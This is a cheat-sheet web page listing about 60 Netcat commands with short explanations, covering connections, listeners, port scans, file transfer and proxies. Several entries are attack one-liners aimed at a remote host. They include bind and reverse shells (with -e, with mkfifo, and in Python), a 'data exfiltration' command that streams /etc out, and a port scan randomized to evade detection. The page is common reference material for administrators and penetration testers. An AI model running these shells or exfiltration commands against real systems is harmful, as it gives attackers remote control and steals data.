Skip to content

Netcat

60 commands

The TCP/IP Swiss-army knife: connect to and listen on ports, transfer files, banner-grab and catch reverse shells.

  • networking
  • shells
  • file transfer

Install Netcat

sudo apt install netcat-openbsd ncat

Basic TCP Connections3

nc 192.168.1.1 80

Connects to the target host on port 80 using TCP.

nc -v 192.168.1.1 22

Connects to the target with verbose output to see connection status.

nc -v -n 192.168.1.1 80

Connects without performing DNS resolution for faster interaction.

UDP Connections2

nc -u 192.168.1.1 53

Establishes a connection using UDP instead of the default TCP.

nc -u -v 192.168.1.1 161

Connects via UDP with verbose feedback to check connection status.

Listening Mode3

nc -l -p 4444

Starts a listener on TCP port 4444 to await incoming connections.

nc -l -v -p 4444

Listens on port 4444 and prints verbose details when a client connects.

nc -u -l -p 5000

Starts a UDP listener on port 5000 for receiving UDP packets.

Port Scanning3

nc -z -v 192.168.1.1 20-80

Scans TCP ports 20 through 80 in Zero-I/O mode to identify open ports.

nc -z -v -u 192.168.1.1 1-100

Scans UDP ports 1 through 100 to identify listening services.

Link
nc -z -v -w 1 192.168.1.1 80 443 8080

Scans specific individual ports with a 1-second timeout per port.

Link

Banner Grabbing2

echo '' | nc -v -n -w 1 192.168.1.1 22

Connects briefly to capture the service banner sent by the target.

Link
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc 192.168.1.1 80

Sends a raw HTTP HEAD request to grab the web server version header.

Link

File Transfer (Receive)1

nc -l -p 1234 > received_file.txt

Listens on port 1234 and writes all incoming data to a file.

Link

File Transfer (Send)1

nc 192.168.1.1 1234 < file_to_send.txt

Connects to the receiver and sends the contents of a local file.

Link

Timeout and Connection Control1

nc -w 5 192.168.1.1 80

Connects to the target but times out if the connection remains idle for 5 seconds.

Link

Input and Output Redirection1

nc 192.168.1.1 25 << EOF
HELO test.com
QUIT
EOF

Feeds a multi-line HERE-doc string into the netcat connection automatically.

Link

Keep Alive and Persistent Connections1

nc -k -l -p 8080

Listens on port 8080 and keeps listening even after the client disconnects.

Link

Source Port and Interface Binding2

nc -p 5000 192.168.1.1 80

Connects to the target while forcing the local source port to be 5000.

Link
nc -s 10.10.10.10 192.168.1.1 80

Spoofs or binds the source IP address to a specific interface IP.

Link

IPv6 Connections2

nc -6 2001:db8::1 80

Forces Netcat to use IPv6 protocols to connect to the target address.

Link
nc -6 -l -p 5000

Starts a listener specifically on an IPv6 address/interface on port 5000.

Link

Quiet and Verbose Modes1

nc -vv 192.168.1.1 80

Connects with very verbose output for deep debugging of the connection handshake.

Link

Automation and Scripting Usage1

nc -i 2 192.168.1.1 80

Inserts a 2-second delay interval between lines of text sent or received.

Link

Executing Commands (Bind Shell)1

nc -l -p 4444 -e /bin/bash

Listens on port 4444 and executes bash for whoever connects (insecure).

Link

Executing Commands (Reverse Shell)1

nc 10.10.10.10 4444 -e /bin/bash

Connects to a listener and executes a shell, sending control to the remote user.

Link

Executing Commands (OpenBSD Workaround)1

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.10 4444 > /tmp/f

Creates a reverse shell using named pipes for Netcat versions without the -e flag.

Link

Debugging and Troubleshooting1

nc -v -z -w 2 192.168.1.1 1-65535

Performs a full TCP port scan with verbose output to identify all open services.

Link

Firewall and Service Testing1

nc -l -p 80

Simulates a web server listener to test if a firewall permits inbound port 80 traffic.

Link

Encryption via External Tools2

ncat --ssl -l -p 4444

Uses Nmap's Ncat (modern sibling) to listen with SSL encryption enabled.

Link
ncat --ssl 192.168.1.1 4444

Connects to an SSL-enabled listener using Nmap's Ncat variant.

Link

Proxy Usage2

nc -x 127.0.0.1:9050 -X 5 192.168.1.1 80

Connects to the target via a SOCKS5 proxy (e.g., Tor) at the specified address.

Link
nc -x 10.10.10.1:8080 -X connect 192.168.1.1 80

Connects to the target via an HTTP CONNECT proxy.

Link

Unix Domain Sockets2

nc -U /var/run/docker.sock

Connects to a Unix Domain Socket instead of a network TCP/UDP port.

Link
nc -l -U /tmp/socket_test

Creates and listens on a Unix Domain Socket for local inter-process communication.

Link

Logging and Output Handling1

nc -v 192.168.1.1 80 2> connection_log.txt

Redirects verbose status messages (stderr) to a log file while keeping data on stdout.

Link

Red Team Post Exploitation3

tar cf - /etc | nc 10.10.10.10 1234

Compresses the /etc directory and streams it directly to a remote listener (Data Exfiltration).

Link
nc -l -p 1234 | tar xf -

Listens for an incoming stream and immediately extracts the archive to disk.

Link
dd if=/dev/sda | nc 10.10.10.10 9000

Clones a raw disk image and streams it over the network for forensic capture.

Link

Blue Team Validation2

while true; do nc -l -p 80 -q 1 < response.html; done

Runs a simple loop to serve a static HTML file persistently (Simple Web Server).

Link
nc -z 192.168.1.1 1-1024 2>&1 | grep succeeded

Scans ports and filters output to show only successfully connected ports.

Link

Chat Mode2

nc -l -p 3333

Starts a simple text chat server.

Link
nc 192.168.1.1 3333

Connects to the chat server for manual text communication.

Link

Advanced Triggering1

nc -l -p 5555 -c '/bin/bash script.sh'

Executes a shell script via /bin/sh upon connection (Traditional netcat only).

Link

Port Scanning (Randomized)1

nc -v -r -z 192.168.1.1 20-80

Scans ports 20-80 in a randomized order to potentially evade simple detection logic.

Link

Connection Control1

nc -q 5 192.168.1.1 80 < input.txt

Sends a file and waits 5 seconds after EOF before closing the connection.

Link

Broadcast1

nc -b -u 255.255.255.255 1234

Allows sending UDP packets to the broadcast address (requires support in binary).

Link

Telnet Negotiation1

nc -t 192.168.1.1 23

Enables Telnet negotiation handling for connecting to Telnet servers.

Link

Buffer Size Adjustment1

nc -I 1024 192.168.1.1 80

Sets the TCP receive buffer size to 1024 bytes (useful for flow control testing).

Link

Listening Mode (No DNS)1

nc -n -l -p 4444

Listens on port 4444 and prevents DNS lookup of the connecting IP for speed.

Link

Port Scanning (Wait Mode)1

nc -w 1 -z 192.168.1.1 80-85

Scans a small range with a strict 1-second timeout per port to prevent hanging.

Link

Simple HTTP Server1

printf 'HTTP/1.1 200 OK\n\nHello World' | nc -l -p 8080

Responds with a valid HTTP 200 OK message to a single browser request.

Link

Mail Server Testing1

nc -C 192.168.1.1 25

Connects to SMTP and forces CRLF line endings (required by some mail servers).

Link

Reverse Shell (Python Assisted)1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Uses Python to spawn a reverse shell if Netcat -e is unavailable.

Link

Monitoring1

nc -l -p 514 | tee syslog_capture.log

Acts as a Syslog receiver on UDP 514 and displays logs while saving to file.

Link

Background Listening1

nc -d -l -p 1234

Listens on port 1234 but ignores stdin (prevents closing on terminal input).

Link

Connection Control (Shutdown)1

nc -N 192.168.1.1 80

Shutdowns the network socket for writing after stdin closes (useful for HTTP).

Link

Traffic Shaping1

nc -T lowdelay 192.168.1.1 80

Sets the IP TOS (Type of Service) byte to 'lowdelay' for traffic prioritization.

Link

Proxy Usage (SOCKS4)1

nc -x 127.0.0.1:1080 -X 4 192.168.1.1 80

Connects to the target through a specific SOCKS4 proxy.

Link

Advanced Relaying1

mknod backpipe p && nc -l -p 8080 0<backpipe | nc 192.168.1.1 80 1>backpipe

Creates a manual port forwarder using a named pipe to relay traffic between ports.

Link